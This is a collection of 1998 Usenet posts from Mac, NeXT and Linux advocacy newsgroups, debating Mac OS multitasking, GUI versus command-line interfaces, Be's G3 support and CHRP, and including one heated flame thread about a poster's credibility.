References: <B20F0ECF-11F9DE@208.193.147.160> <joe.ragosta-0309981438080001@wil32.dol.net> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net> <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net> <35F9AC8F.BE4CB08E@ericsson.com>
In article <35F9AC8F.BE4CB08E@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Steve Sullivan wrote:
>
> [cut]
>
> > I dont understand what you mean here. The macos can multitask, AND it can
> > task switch. Their just happen to be some cases where it cant multitask
> > or task switch, in certain rare conditions.
>
> During any I/O operations, for instance. Not so rare.
>
> MJP
All disk I/O operations in the MacOS are asyncronous, and have been since
version 7.0. Further more, version 8.0 introduced a fully multi-threaded
I/O sub-system for the Finder, so you can copy mutliple files
simultaneously.
Here are some situtations where the MacOS cannot "multitask"...
- in any part of an application loop that does not call the GetNextEvent or
WaitNextEvent OS traps
- when an interupt occures
- on startup, while the initialization routines are running
- while a menu is held down
Certaintly not "rare" conditions. However, because of the way that the
MacOS interface works, these interuptions are rarely intrusive.
-- Brian Stone
stone@StoneEntertainment.com
From: drsoran@black.ops.cia.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 12 Sep 1998 01:54:20 GMT
Organization: Black Ops Division
Message-ID: <6tck8c$cvj$3@csu-b.csuohio.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6stdr0$919$1@msunews.cl.msu.edu> <6svjjn$28f@newsb.netnews.att.com> <6t795i$58t$2@msunews.cl.msu.edu> <6t92ur$fin@newsb.netnews.att.com>
User-Agent: tin/pre-1.4-980618 (UNIX) (Linux/2.1.112 (i686))
In comp.os.linux.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
: Simply, that Apple cannot really afford to change directions yet again;
: or rather, let it be perceived to have changed directions.
: E.g, if Apple does enter the x86 market, it has to do so in a manner
: that does not lead to the idea that the PowerPC is "dead".
Apple's best bet is to continue floundering around from quarter
to quarter like it is doing now and try to keep its head above water.
When Merced is eventually released they should drop PowerPC and move
MacOS support fully behind a single common 64 bit processor that you
know is going to the standard on every desktop in the world in 5 years
anyway. If I was going to go and take the jump into the proprietary
hardware arena I'd much rather buy a Sparc than a Mac.
--
-----------------------------------------------------------------------
drsoran@black.ops.cia.net | "Don't worry about the price,
Blinky lights are the essence of | we'll just print more."
modern technology! | Caffeine underflow (brain dumped)
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 1998 22:29:13 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6tc87p$ko0$1@news.mxol.com>
References: <6tbuc6$i96$4@news.mxol.com> <B21EE360-CB00@206.165.43.178>
"Lawson English" <english@primenet.com> wrote:
>Charles W. Swiger <chuck@codefab.com> said:
>> Okay, fair enough. Lets agree, however, that most examples of
>> upwards-compatibility result from using human-readable protocols rather
>> than binary formats.
>
>Is this the nature of human-readable protocols are an artifact of specific
>ones that you are thinking of?
I think that part of the nature of human-readable protocols encourages them
to provide upwards-compatibility, yes.
> What is there about a human-readable protocol that *automatically* makes it
> more forward-compatible?
Of necessity, a human-readable protocol requires the system to parse the data
into its internal representation, whereas binary protocols assume that the
data has been laid out in the internal representation so that it can simply
be slurped back in.
Human-readable protocols are also typically based around key-value
descriptions, which means that the parser can recognize that "hey, I don't
know what that is" whereas binary data streams are usually not typed and
there's no way for the system to recognize data that it doesn't know about.
For example, it is a part of HTML that browsers are supposed to ignore tags
they don't understand without breaking.
>Isn't it really just a design-issue, which is the same issue whether it is
>binary or text-based?
It's possible to design a binary format which can deal with the above issues,
but all of a sudden, you've added typing and some sort of parser to the
binary data stream, rather than simply reading bytes into variables directly.
>I mean, GX defines 12 shape types numbered 1-12 (gxEmptyShapeType through
>gxPictureShapeType, I believe). The built-in shape flattening and restoring
>library doesn't know what to do with shapes types numbered above 13 and
>likely croaks.
That's a perfect example of how saving the internal representation (the
enumeration values of the shape types) makes the system less extensible,
because it presumably wouldn't know what to do with tag 13....
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Sat, 12 Sep 1998 00:38:56 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-1209980038570001@user-38ld6pa.dialup.mindspring.com>
References: <35f1a1e8.388665015@198.0.0.100> <joe.ragosta-0309981438080001@wil32.dol.net> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net> <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net> <35F9AC8F.BE4CB08E@ericsson.com>
In article <stone-1109981953250001@rc-pm3-05.enetis.net>, stone@enetis.net
(Brian Stone) wrote:
>All disk I/O operations in the MacOS are asyncronous, and have been since
>version 7.0.
That's not really true. What was introduced was the *capability* to do
I/O asynchronously, and additions to the API so that apps could make use
of it. Even today, many Mac apps still make synchronous I/O calls, and
thus lock up the whole system while the I/O is done.
Real operating systems (for example, Linux) allow synchronous I/O as
well. But given the existence of a preemptive scheduler, there's no need
for a single process to block all others; the OS can simply schedule
another process to run while the blocked one waits for its I/O to
complete. Not so on MacOS, where the only time the scheduler gets control
is when the current app relinquishes it. If the app makes a synchronous
I/O call, MacOS is powerless to schedule something else to run, and the
system sits there and busy waits while the I/O completes.
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 98 15:52:56
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep11155256@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com>
<6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com>
<6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com>
<heaney-1009981959380001@24.0.246.137>
<6tb9tl$q4m$2@nnrp02.primenet.com>
<heaney-1109981237170001@24.0.246.137> <35F96D7B.B1BFABA5@ericsson.com>
In-reply-to: Michael Peck's message of Fri, 11 Sep 1998 13:35:39 -0500
In article <35F96D7B.B1BFABA5@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> writes:
But John Jensen's point is perfectly valid: it's not being smarter
that makes it easy for me. It's the fact that I've made an
investment of time and energy that reproduces itself in rewards
every time I learn something new. It's a self-reinforcing process.
Most people never begin the process of self-perpetuatied learning,
and thus never get beyond interfaces that basically do all the
thinking for you.
There are self-reinforcing aspects to CLIs that only _barely_ happen
in GUIs. Consider the commands find, xargs, and apply. Using these
commands in conjunction with I/O redirection can make many of your
other commands many _times_ more useful. Figured out how to do
something to one file? Hit the up-arrow, and edit around the
command-line to apply it to all the files in a given source tree.
The closest I've come to that in a GUI is Services on NeXTSTEP. A
year or so after Services was standardized, I released TickleServices,
which basically let's you write GUI menu entries using CLI knowledge.
It's not a terribly _elegant_ system - but powerful as hell.
Automatic transmissions make cars easier to drive - but people who
handle a manual transmission well can drive their car more
efficiently. Should we forbid manual transmissions on the off chance
that someone won't be able to drive a specific car? Should be forbid
automatic transmissions in order to reduce fuel consumption?
No. We should create cars with hybrid transmissions that allow power
drivers to communicate their intentions in a reasonable fashion, but
don't leave novice or oblivious drivers stuck in the driveway,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 98 15:57:52
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep11155752@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134>
<6suplu$rqm$1@nnrp02.primenet.com>
<heaney-0609982205450001@24.0.246.137>
<6svokr$51r$1@nnrp02.primenet.com>
<heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com>
<heaney-0809981243030001@24.0.246.137>
<6t3nal$124$2@nnrp02.primenet.com>
<heaney-0809981533040001@24.0.246.137>
<6t42o6$puq$1@nnrp03.primenet.com>
<heaney-0809982244000001@24.0.246.137>
<6t68ia$b2c$1@nnrp03.primenet.com>
<heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com>
<heaney-0909982200140001@24.0.246.137> <35F76A3F.CEAA6265@nstar.net>
<6t9kb8$f29$3@news.mxol.com> <35F85D52.45E77BB@ericsson.com>
<6tbjft$hq4$1@news.mxol.com> <heaney-1109981353290001@24.0.246.137>
<6tbtqt$i96$2@news.mxol.com>
In-reply-to: "Charles W. Swiger"'s message of 11 Sep 1998 19:31:41 GMT
In article <6tbtqt$i96$2@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> writes:
heaney@SolidObject.com (John Heaney) wrote:
>In article <6tbjft$hq4$1@news.mxol.com>,
> "Charles W. Swiger" <chuck@codefab.com> wrote:
[ ... ]
>> Ah, yes-- I remember now. Tell me, have you heard about the
>> text-mode version of Quake? It'll work in an xterm, over a
>> telnet session, or even on a VT100 terminal.
>> http://webpages.mr.net/bobz/ttyquake...
>
>Cute, but isn't it really just a GUI with a really bad renderer?
That's a very good question, and I guess it depends on where you
want to draw the line. For myself, a GUI is based off of a
pixel-based display with a pixel-based pointing device (like a
mouse). If it works on a VT100 terminal, it's not GUI the way a
Mac is a GUI.
Dammit, if you can't play it on a _real_ tty, what good is it? Though
I'd imagine Quake would require quite a lot of paper, and woe unto him
who has a jam during a battle...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Date: Sun, 13 Sep 1998 08:25:58 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1309980825580001@elk55.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <joe.ragosta-1209981543220001@elk60.dol.net> <6tfns4$ci4$1@news5.ispnews.com>
In article <6tfns4$ci4$1@news5.ispnews.com>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
> Joe Ragosta wrote in message ...
> >
> >The people doing Linux were able to work out the G3 motherboard. Why
> >couldn't Be?
>
> They could, they choose not to, for various reasons they've previously
> stated.
Which proves my point. Be claims that they can't support PowerMac G3
systems because Apple won't give them what they need. You're admitting
that they could if they wanted to.
>
> >Be's just using Apple as a scapegoat to cover their lack of interest or
> >incompetence.
>
> In your not-so-humble-opinion.
That you just agreed with.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 13 Sep 1998 12:36:45 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tge8t$mo$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net>
<35F7657E.C56E76A9@nstar.net> <6tbqcu$ubt$1@nnrp4.snfc21.pbi.net> <35F976A1.E9C83A99@ericsson.com> <6te9gv$420$1@nnrp2.snfc21.pbi.net> <35FAC3AE.3F4B49BD@nstar.net> <6tf367$6en$1@nnrp3.snfc21.pbi.net> <6tffth$opg$2@nnrp03.primenet.com>
<6tfhql$9eb$1@nnrp4.snfc21.pbi.net>
William Edward Woody <woody@alumni.caltech.edu> wrote:
: I personally think the right answer here is to rethink the design,
: not to hide stuff. For example, if we find that it is important
: for users to be able to selectively kill processes, instead of
: teaching folks how to run the output of 'ps' through 'grep, why
: not create a "Process Manager" which provides users graphical access
: to those tools?
I think a GUI "Process Manager" is a fine idea. Many systems already have
them. Do you try to cast my position as GUI vs. CLI because it is easier
for you to argure? You should certainly know from my posts that my
position is GUI _and_ CLI. I don't, for instance, believe that the ps
command should be deleted from its bin directory when the GUI Process
Manager is complete. From you other posts on filters, I wouldn't think
you would want to delete it either. So what is the difference in our
positions? Is it that I am happliy in favor of the GUI and the CLI, while
you are happily in favor of the GUI grudgingly in favor of the CLI?
You mention cabinetmaking in your post. I've done a little of that, and
as a result I own about 10 saws (and many more "things to cut wood"). I
don't know of any cabenetmaker who thinks there should only be one way to
cut wood. I'm not saying you buy into it, but there has been a theme in
this thread that there should be just one way to communicate with a
computer. To mix metaphores, I can see starting people off with a simple
saw, one that won't take off their fingers, but I can't see telling them
"that's it, that's your saw for life."
I've thought more than once that a CLI is a chainsaw. You may not want to
use it all the time, but now and then you have to take down trees.
John
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 13 Sep 1998 13:51:15 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35fa4488.11961504@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au>
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"Christopher Smith" <drsmithy@usa.net>, on Tue, 8 Sep 1998 09:26:18
[...]
>Obviously - but trying to say a car is made up of thousands of components
>and a computer of ~10 is just plain stupid.
A car is made up of thousands of INTERCHANGEABLE *mechanical*
components. A computer is made up of ~10 INTERCHANGEABLE
*electronic* components.
Insisting over and over that a car is like a computer, just because
you like the analogy, regardless of how many times it is pointed out
how stupid the analogy is, is....
not smart.
From: John Jensen <jjens@primenet.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 13 Sep 1998 14:10:20 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tgjoc$5h6$1@nnrp02.primenet.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <joe.ragosta-1209981543220001@elk60.dol.net>
<6tfns4$ci4$1@news5.ispnews.com> <joe.ragosta-1309980825580001@elk55.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: In article <6tfns4$ci4$1@news5.ispnews.com>, "Earl Malmrose"
: <malmrose@nospam.jetcity.com> wrote:
: > They could, they choose not to, for various reasons they've previously
: > stated.
: Which proves my point. Be claims that they can't support PowerMac G3
: systems because Apple won't give them what they need. You're admitting
: that they could if they wanted to.
Joe, when did Linux get
- G3 ide boot support?
- G3 floppy support?
- G3 video support?
IIRC, all these became available _after_ Be dropped G3 for lack of
information.
We covered the ide disk problem in July, remember? You are in this thread
a few places:
http://www.dejanews.com/getdoc.xp?AN=374820747
You know Joe, I'm temped to believe that you know all this ... but no, you
would be honest in your advocacy, wouldn't you?
John
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Sullivan has NO credibility!
From: guess@it.spammer (Cybernaught)
Message-ID: <1dfadav.12btb251r8hvvcN@pppsl1035.chicagonet.net>
References: <1df8h6y.ssg3257kmj0yN@pppsl889.chicagonet.net> <macghod-1209982052390001@sdn-ar-002casbarp281.dialsprint.net>
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NNTP-Posting-Date: Sun, 13 Sep 1998 07:32:45 PDT
Organization: ISPNews http://ispnews.com
Date: Sun, 13 Sep 1998 09:31:54 -0500
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1df8h6y.ssg3257kmj0yN@pppsl889.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > Steve has been attacking every Mac advocate that posts to this news
> > group. Yet the man has not an once of credibility. Why not? Here
> > are the reasons:
> >
> > 1. He's a hypocrite.
> >
> > He has posted lists of PC prices to Mac advocacy groups, yet he derides
> > forwards of Mac advocacy news as "spam."
>
> Yup.
Steve says "yup," to the charge of hypocrisy.
>
> > He accuses others of posting under multiple names, yet he has posted as
> > MacGod, Macghod, Nextnewbie, and finally under his present name, if that
> > is his name.
>
>
> I have always put my correct email address, or correct email address with
> spam protection. Email macghod@concentric.net and I will reply. What is
> your email address now Mr Cybernought?
Whose email address are you asking for? You haven't addressed me by
any name that I've ever posted under. If I wanted anyone to have my
email address, I'd have posted it.
The fact that you keep the same Email address while changing your name
just shows your sickness has the desire to be caught built into it.
> > He advocated cheap PCs running NeXT, yet he bought a G3 Mac running the
> > Mac OS. He still advocates cheap PCs, even though he didn't buy one
> > himself.
>
> True. Unfortunately rhapsody for pc's is supposedly shortlived.
You make this claim as a way for you to back out of your earlier
position. You didn't admit to being a PC advocate before, you claimed
that you were just trying to get parity from Apple. Will you remember
that you said "true," to being a PC advocate later? Will you ever
explain satisfactorily why a PC advocate has a G3 Mac? Are you just
borrowing it from your roommate as you did with the PC?
>
>
> > He insults others, even using profanity to do so, but when he receives a
> > response such as "those names describe yourself, not I," he starts
> > crying like a baby. He has the gall to claim others have taken the
> > discussion to the level of a three year old after issuing a stream of
> > profane insults himself, into a thread that had not contained those
> > kinds of statements, until he initiated them.
> >
> > 2. He's a liar.
> >
> > He has repeatedly lied about what Mac advocates have said. He has yet
> > to post a single shred of evidence to back up his lies.
>
> Uh huh. I never post information to back up what I say. Sure.
That's right. You've been challenged many times to prove your
allegations against Mac advocates. You have yet to answer a single
request to back your words.
>
> > 3. He's incompetent.
> >
> > As Nextnewbie, he posted many messages asking for help on really simple
> > issues, like setting the time under NeXT.
>
> Really? Why dont you go to dejanews and PROVE this. The only problem I
> had is that the time gets switched from the bios.
I've already seen your words proved to you Steve, and what you do
afterwards. You don't admit that you're wrong, you simply change your
story. You said that you NEVER advocated cheap PCs. Someone took the
trouble to dredge up the posts you did this in, complete with price
lists, and then you said "well, I meant I'm not doing it now." That
was another lie, as you said "true," to my statement that you advocate
cheap PCs. I've seen many of your posts in which you defend the choice
of a cheap PC over a Mac, after you said you no longer advocate cheap
PCs.
Whatever the problem you had with the NeXT platform, it showed your
incompetence, especially by the fact that you asked for help with a PC
running NeXT on a Mac advocacy group!
> > He made a fool out of
> > himself by repeatedly claiming that NeXT could not compile for different
> > platforms on his borrowed PC, in spite of being told by many posters
> > that the problem was his failure to install the required libraries.
>
> True. I made a comment to whiz programmer Joe Ragosta, and was promptly
> shown the error of my ways by lesser Next programmers, and promptly
> apologed.
You made an unfounded attack on Joe's credibility. It then turned out
that your own incompetence was to blame. Mr.Ragosta knows more about
the operation of NeXT than Mr. Sullivan does.
I must have missed the apology.
I suggest that you invest in a spell checker, by the way.
>
> > When he went to the Mac, he couldn't even handle email attachments! He
> > thought it was a bug in the Mac OS! Of course with Steve, it's always
> > the fault of the computer, his bumbling has nothing to do with it.
>
> Again, this is not true.
This is true, and once again Steve is attempting to rewrite history.
You said that you had Claris Email, you didn't say "Lite." You blamed
your troubles on an imaginary bug in the Mac OS, and you wouldn't budge
from that position in spite of many posters telling your opinion was
erroneous.
> I made a comment about how the internet part of
> the install is installed. If you go to apple tech info library, APPLE
> ADMITS TO WHAT I SAID.
> So you misconstrue what I say, I show my original post that shows this,
> and then I show that even Apple admits I am right!
Apple DOES NOT admit that you are right. Claris Emailer Lite is a
stripped down version of the full package. Some features are
intentionally left out. It is not a bug in the Mac OS, and that's what
Apple told you in the following message.
> First, from dejanews
> (http://x9.dejanews.com/getdoc.xp?AN=369146449&CONTEXT=905658094.811991078
> &hitnum=0)
>
>
> Date:
> 1998/07/06
> Forums:
> comp.sys.mac.advocacy, comp.sys.mac.hardware.misc
> view for bookmarking · text only
>
>
>
>
>
>
> What is the email address to send apple when you find bugs?
> FOr instance, here is a little one:
> problem: cant send attachments in claris emailer
> how to recreate problem: install internet access, a component of os 8.
> workaround: install stuffit deluxe, and files needed for emailer will be
> installed. When i experienced this I had stuffit drop stuff on my
> computer, but didnt have deluxe installed.
>
> OR uncheck compress attachments option.
>
> conclusion: after doing a install of macos 8 with internet access, claris
> emailer wont work out of the box with regards to sending attachments.
>
>
>
> Now, Apple admits this in a til
> (http://til.info.apple.com/techinfo.nsf/artnum/n32014)
>
> TITLE
>
> Mac OS 8: Claris Emailer Lite 1.1v4 and Sending Compressed Files
> Article ID:
> Created:
> Modified: 32014
> 7/28/97
> 7/29/97
> ------------------------------------------------------------------------
> TOPIC
>
>
> I received Emailer Lite 1.1v4 as part of Mac OS 8 internet access. I am
> unable to send compressed enclosures (the default setting).
>
>
> ------------------------------------------------------------------------
> DISCUSSION
>
>
> Unlike the stand alone Claris Emailer-Lite Installer 1.1v3, the Installer
> inside IAFT in Mac OS 8 omits the "File Transfer Tools" file.
This is a reduced feature set, as I said above. It is not a bug in the
Mac OS, as Steve so ridiculously claimed. The worst that can be made of
it is that it is an omission in the Installer Script for Claris Emailer
Lite, not a bug in the Mac OS as Steve insisted that it was. Even now
he doesn't admit he was wrong, he tries to confuse the issue instead.
> You will need to manually install Aladdin's DropStuff w/EE 4.0.
>
> > 4. He's an idiot.
> >
> > Steve repeatedly claimed that NeXT on his borrowed PC was "a hundred
> > times better than the Mac OS." Yet he had installed NeXT from a
> > scratched CD, and so could have never have installed it properly. Now
> > ask yourself, what could a faulty install of an OS show someone in two
> > or three months that would convince them of its superiority to the Mac
> > OS?
>
> This post is so filled with lies its not funny. I *TRIED* to install from
> that cd, but never could get it to install. I then by chance checked the
> bottom of the cd
You would like people to believe that these are lies. You announced
that you had discovered the cause of your NeXT difficulties was
installing from a scratched CD. Now you want to rewrite history.
>
> > Steve posted many, many messages bashing the Mac, and advocating a cheap
> > PC running NeXT. Yet all of his opinions were those of a newbie with a
> > faulty, incomplete install of NeXT running on a borrowed PC. The man
> > made a fool and an idiot out of himself with these escapades.
>
>
> So I had a faulty install of openstep, and this was still alot better than
> macos?
Does it help you to rephrase my statements as a question? Yes, that
was your claim. You see how ridiculous you are now, is that it?
> Too bad this is again false. The cd had a scratch so I was never
> able to get it installed FROM THAT CD THAT HAD THE SCRATCH.
You're changing your story now. You attributed your NeXT troubles to
that scratched CD, and told everyone that you shouldn't have been
expected to check the CDs for scratches. You blamed problems in your
installed OS on that scratched CD.
> > He has claimed to have owned around a dozen different Mac models, and
> > yet when he bought a new Mac, he posted newbie questions. What an
> > idiot!
Tacit agreement.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 13 Sep 1998 15:31:30 GMT
Organization: University of Maryland, College Park
Message-ID: <6tgogi$703$1@hecate.umd.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <no-spam-1209981733180001@10.0.1.99> <joe.ragosta-1209981833280001@elk75.dol.net> <no-spam-1209981938180001@10.0.1.99> <joe.ragosta-1209982125480001@elk48.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <no-spam-1209981938180001@10.0.1.99>, no-spam@one.net
: (MojiDoji) wrote:
: > In article <joe.ragosta-1209981833280001@elk75.dol.net>,
: > joe.ragosta@dol.net (Joe Ragosta) wrote:
: >
: > > In article <no-spam-1209981733180001@10.0.1.99>, no-spam@one.net
: > > (MojiDoji) wrote:
: > >
: > > > Sad but true. The CHRP movement will be interesting. You can buy a PPC
: > > > machine and choose your OS without having to worry about what Apple does.
: > > > I hope it gets huge and forces Apple to change their thinking. Actually,
: > > > it sounds like Apple is trying to play Gate's game, which you can't do
: > > > with 5% market share.
: > >
: > > I had to check the date of your post to make sure that this one hadn't sat
: > > in Cyberspace for a few months.
: > >
: > > CHRP is dead. You will probably never be able to buy a CHRP computer.
: > >
: > > I agree that it's unfortunate. But it won't happen.
: > >
: >
: > Sure it will. Pios manufactures full CHRP systems. LinuxPPC.org sells
: > CHRP machines. Not to mention what you can put together yourself. CHRP
: > isn't dead, Apple just doesn't want to freak out the Mac users by
: > introducing something that won't affect what they do.
: >
: I forgot about PIOS. As for LinuxPPC.org, I wasn't aware that they were
: selling CHRP machines. Do you have a URL?
: But you can't buy a motherboard anywhere that I know of.
: BTW, even if you can buy a computer that meets the CHRP spec from PIOS,
: CHRP is still dead. None of the major OSs will run on it.
I'm under the opposite impression. CHRP, being the superset of PREP,
will run WinNT 4.0, Solaris 2.5 and AIX.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Page at its new location:
: http://www.taylor-design.com/cMacindex.html
Date: Sat, 12 Sep 1998 06:39:08 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Message-ID: <joe.ragosta-1209980639080001@elk79.dol.net>
References: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net> <B21EE1E9-31A60@209.109.224.169> <arlo-1109981643450001@cm40133.cableco-op.com>
In article <arlo-1109981643450001@cm40133.cableco-op.com>,
arlo@rcontinuum.com (Arlo Rose) wrote:
> In article <B21EE1E9-31A60@209.109.224.169>, "Benjamin Smith"
> <benjs@ix.netcom.com> wrote:
>
> >This clears up alot. Thanks. So, primarily the high tech and gizmo, the
> >latter formerly known as I think the Children's theme, are relics of
> >Copland and not well suited for the Themes 2.0 API and Apple has some more
> >up to date themes that will support Themes 2.0 API that may make it into
> >Allegro, but probably will make it into the update.
>
> Well... no, that's not the case at all.
>
> What's happening is that Steve Jobs doesn't like how crappy and outdated
> Gizmo, Hi-Tech, and the other themes that were done look, and has told the
> Appearance team not to ship them.
>
> Not a big surprise considering his reaction the first time I showed him Gizmo.
>
> All I have to say is congratulations Apple, on finally shipping theme
> switching support, it's too bad there are no themes for it!
>
> If you want switchable appearances under 8.5 with almost no patching, look
> for the next release of Kaleidoscope. Our 8.5 engine runs straight off the
> Appearance 1.1 APIs.
>
> Oh and there is not Appearance 2.0 at this time. The Appearance that ships
> with 8.5 is version 1.1.
Let me make sure I understand this.
